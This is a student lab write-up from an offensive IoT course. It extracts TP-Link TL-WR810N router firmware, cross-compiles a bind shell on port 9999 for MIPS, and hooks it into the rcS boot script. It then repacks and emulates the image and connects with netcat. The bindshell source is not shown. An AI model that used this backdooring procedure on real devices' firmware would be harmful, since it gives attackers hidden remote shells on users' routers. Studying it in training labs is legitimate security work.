This blog post has been created for completing the requirements of the SecurityTube Offensive Internet of Things course.
Student ID: IoTE- 778
For one of the projects for the Offensive Internet Of Things Exploitation final exam I decided to try to analyze the firmware for the TP-Link TL-WR810N Router.
My goals for this project were to:
- Successfully extract the filesystem from the firmware
- Re-package the firmware with a backdoor corresponding to the correct architecture
- Emulate the firmware using Firmadyne
- Identify any interesting security issues
Filesystem extraction was completed easy enough using the firmware-mod-kit. I initially extracted the firmware using binwalk but had issues when trying to re-build the firmware after manipulating it.
sudo ./extract-firmware.sh wr810nv2_us_3_16_9_up_boot\(160509\).bin
oit@ubuntu:~/tools/firmware-mod-kit$ sudo ./extract-firmware.sh wr810nv2_us_3_16_9_up_boot\(160509\).bin Firmware extraction successful! .. snip .. Firmware parts can be found in '/home/oit/tools/firmware-mod-kit/wr810nv2_us_3_16_9_up_boot(160509)/*' oit@ubuntu:~/tools/firmware-mod-kit$
From the extraction output we learn that:
- That the U-Boot bootloader is being used
- The file system is big endian
- The CPU is a MIPS architecture
- The Squashfs is being used
To verify the endianess we can use
$ readelf -a bin/busybox | less ELF Header: Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x404500 Start of program headers: 52 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x70001007, noreorder, pic, cpic, o32, mips32r2 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
This information will be useful for creating a backdoor and emulating the firmware later.
Re-package The Firmware With A Backdoor
Now that we have successfully extracted the firmware, the next step is to re-package the firmware with a backdoor corresponding to the correct architecture. To do this we will first need to:
- Find a backdoor that we want to incorporate
- Compile the backdoor under the correct achitecture (MIPS)
- Setup the firmware so that it starts the backdoor during the boot process
- Re-package the firmware
- Test that the backdoor actually works
Find A Backdoor To Incorporate
The IoT course provides an example backdoor c program that we will use for this exercise. The backdoor is the following:
This bindshell binds to port 9999 and waits for a connection.
Compile The Backdoor Under The Correct Architecture
Now that we know what backdoor we would like to use, we must compile it for the MIPS architecture. We can do this using buildroot. After copying the bindshell into buildroot we statically compile with gcc using:
./mips-buildroot-linux-uclibc-gcc bindshell.c -static -o bindshell
Test That The Backdoor Works
We can test that the bindshell actuall works using qemu to emulate:
sudo chroot . ./qemu-mips-static bindshell
And then nc to make the connection to port 9999:
oit@ubuntu:~/tools$ nc -nv 127.0.0.1 9999 Connection to 127.0.0.1 9999 port [tcp/*] succeeded! [~] Welcome to @OsandaMalith's Bind Shell
Running commands at this point doesn’t actually work because
bin/busybox is not actually available.
Ok. It seems like the bindshell should work. Next we need to get it to start when the firmware boots.
Start The Backdoor During The Boot Process
After looking through the rootfs we come across the following:
$ cat etc/rc.d/rcS .. snip .. # # Start Our Router Program # /usr/bin/httpd & .. snip ..
We can see that thr rcS script appears to start the httpd webserver during the boot process. This seems like a good place to hook up our bindshell. We will update the startup script with the following:
$ cat etc/rc.d/rcS .. snip .. # # Start Our Router Program # /usr/bin/httpd & .. snip .. # # Start our Bindshell # /usr/bin/bindshell &
We will also need to move our bindshell into that location.
$ sudo cp ../../bindshell usr/bin/ $ ls -la usr/bin total 1704 drwxr-xr-x 2 root root 4096 Jul 5 19:19 . drwxr-xr-x 4 root root 4096 May 8 2016 .. lrwxrwxrwx 1 root root 17 Jul 5 15:32 [ -> ../../bin/busybox lrwxrwxrwx 1 root root 17 Jul 5 15:32 arping -> ../../bin/busybox -rwxr-xr-x 1 root root 51266 Jul 5 19:19 bindshell -rwxr-xr-x 1 root root 1568272 May 8 2016 httpd -rwxr-xr-x 1 root root 114408 May 8 2016 lld2d lrwxrwxrwx 1 root root 17 Jul 5 15:32 logger -> ../../bin/busybox lrwxrwxrwx 1 root root 17 Jul 5 15:32 test -> ../../bin/busybox lrwxrwxrwx 1 root root 17 Jul 5 15:32 tftp -> ../../bin/busybox
After our startup script is modified and our binary is in place, we can re-package our firmware. We use the firmware-mode-kit build-firmware script for this:
$ sudo ./build-firmware.sh wr810nv2_us_3_16_9_up_boot\(160509\) -nopad -min .. snip .. Done Finished! New firmware image has been saved to: /home/oit/tools/firmware-mod-kit/wr810nv2_us_3_16_9_up_boot(160509)/new-firmware.bin
Emulate The Modified Firmware with Firmadyne
The moment of truth is running the modified firmware using Firmadyne. We can use the Firmware Analysis Toolkit to speed up the process:
$ ./fat.py .. snip .. Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite) mke2fs 1.42.9 (4-Feb-2014) Please check the makeImage function Everything is done for the image id 6 Setting up the network connection Password for user firmadyne: qemu: terminating on signal 2 from pid 13694 Querying database for architecture... mipseb Running firmware 6: terminating after 60 secs... Bad SWSTYLE=0x04 Bad SWSTYLE=0x04 Inferring network... Interfaces: [('br0', '192.168.0.254')] Done! Running the firmware finally :
Verify that the firmware is actually running in a browser:
Use nmap to see if our bindshell is listening:
$ nmap 192.168.0.254 Starting Nmap 6.40 ( http://nmap.org ) at 2017-07-06 09:18 PDT Nmap scan report for 192.168.0.254 Host is up (0.0036s latency). Not shown: 997 closed ports PORT STATE SERVICE 80/tcp open http 1900/tcp open upnp 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
Connect to the bindshell using netcat:
$ nc -nv 192.168.0.254 9999 Connection to 192.168.0.254 9999 port [tcp/*] succeeded! [~] Welcome to @OsandaMalith's Bind Shell ls bin dev etc firmadyne lib linuxrc lost+found mnt proc root sbin sys tmp usr var web
Identify Any Interesting Security Issues
I was unable to find anything very interesting but I did find one thing. The minimum password requirements for this router are extremely weak:
A password policy that supports a length of 1 is extremely weak. In todays world a password of >12 is considered good and >14 even better. The router firmware can’t support a password any longer than 15 which is almost the recommended industry standard minimum.
Furthermore, this password policy does not enforce any complexity requirements such as special characters, numbers, etc.